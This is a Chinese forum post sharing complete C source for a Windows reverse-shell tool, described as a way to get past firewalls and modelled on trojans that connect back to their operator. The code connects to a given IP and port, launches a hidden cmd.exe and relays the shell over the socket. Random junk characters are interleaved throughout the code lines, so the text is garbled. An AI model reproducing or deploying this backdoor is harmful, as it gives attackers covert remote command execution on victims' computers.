社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6031阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?:q*(EC<  
q<1 ~ vA9  
/* ============================== 73;GW4,  
Rebound port in Windows NT CD~.z7,LC  
By wind,2006/7 &h/X ku&0  
===============================*/ :"c*s4  
#include TvbE2Q;/UL  
#include DvvK^+-~  
g2_"zDiw2  
#pragma comment(lib,"wsock32.lib") )y$(AJx$  
ON(kt3.h  
void OutputShell();  qX{+oy5  
SOCKET sClient; F JyT+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m{HS0l'  
U Cjld  
void main(int argc,char **argv) n:!_  
{ I efn$  
WSADATA stWsaData; + ePS14G  
int nRet; kxv1Hn"`{E  
SOCKADDR_IN stSaiClient,stSaiServer; YaqJ,"GlT  
7kE n \  
if(argc != 3)  \4fQMG  
{ .Q 2V}D85  
printf("Useage:\n\rRebound DestIP DestPort\n"); rey!{3U  
return; =aW9L)8D  
} $!t4r  
Km$\:Xo  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1yhDrpm  
Dlvz )  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s$j,9uRr  
InI$:kJ  
stSaiClient.sin_family = AF_INET; ww1[rCh\+  
stSaiClient.sin_port = htons(0); :V||c5B+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d2$IH#~9B  
OneY_<*a<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D&y7-/  
{ K}Qa~_  
printf("Bind Socket Failed!\n"); vFmZ<C' )  
return; % pCTN P  
} es7=%!0  
&oMh]Z*:  
stSaiServer.sin_family = AF_INET; "w<#^d_6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R:qW;n%AF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZN0P:==  
(E1~H0^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |FRg\#kf%  
{ [nq@mc~<  
printf("Connect Error!"); v]UwJz3<  
return; (T oUgVW1N  
} xAm6BB c  
OutputShell(); Ny/MJ#Lq  
} $F.a><1rY  
[$UI8tV  
void OutputShell() #RLt^$!H  
{ J{G?-+`  
char szBuff[1024]; C0Z=~Q%  
SECURITY_ATTRIBUTES stSecurityAttributes; >vsqG=x  
OSVERSIONINFO stOsversionInfo; _+MJ%'>S  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]ZS OM\}  
STARTUPINFO stStartupInfo; _Fg5A7or  
char *szShell; Y'X%Aw;`  
PROCESS_INFORMATION stProcessInformation; T)_hpt.  
unsigned long lBytesRead; >H ,*H;6  
owv[M6lbD  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H\[W/"  
wMN]~|z>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |_U= z;Y  
stSecurityAttributes.lpSecurityDescriptor = 0; >9J:Uo1z  
stSecurityAttributes.bInheritHandle = TRUE; *LY8D<:zs  
l'E6CL}@[  
.=; ;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xT2PyI_:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9>#6*/Oa7  
K*dCc}:`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @C aG9]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G3v5KmT  
stStartupInfo.wShowWindow = SW_HIDE;  %;!.n{X  
stStartupInfo.hStdInput = hReadPipe; \_fv7Fdp{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |y!A&d=xYn  
,/unhfs1q  
GetVersionEx(&stOsversionInfo); Flb&B1  
],].zlN  
switch(stOsversionInfo.dwPlatformId) \'j|BJ~L f  
{ % & bY]w  
case 1: gBD]}vo-  
szShell = "command.com"; *X}`PF   
break; sDV Q#}a  
default: OZ;*JR:  
szShell = "cmd.exe"; =2x^nW  
break; w4Z'K&d=  
} f%hEnZv  
poFg 1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i@J ;G`  
> Nr#O  
send(sClient,szMsg,77,0); kG*~ |ma  
while(1) BDVtSs<7  
{ 8dhUBJ0_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v &+R^iLE  
if(lBytesRead) i}?>g-(  
{ QmIBaMI#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z?z.?a r  
send(sClient,szBuff,lBytesRead,0); ? =+WRjF  
} E_LN]v  
else I2Yz#V<%ru  
{ Z/J y'$x  
lBytesRead=recv(sClient,szBuff,1024,0); #$y?v%^  
if(lBytesRead<=0) break; T[A 69O]v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ga'swP=hf  
} WX0tgXl  
} {l >hMxij  
jZ; =so  
return; E4xa[iZ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八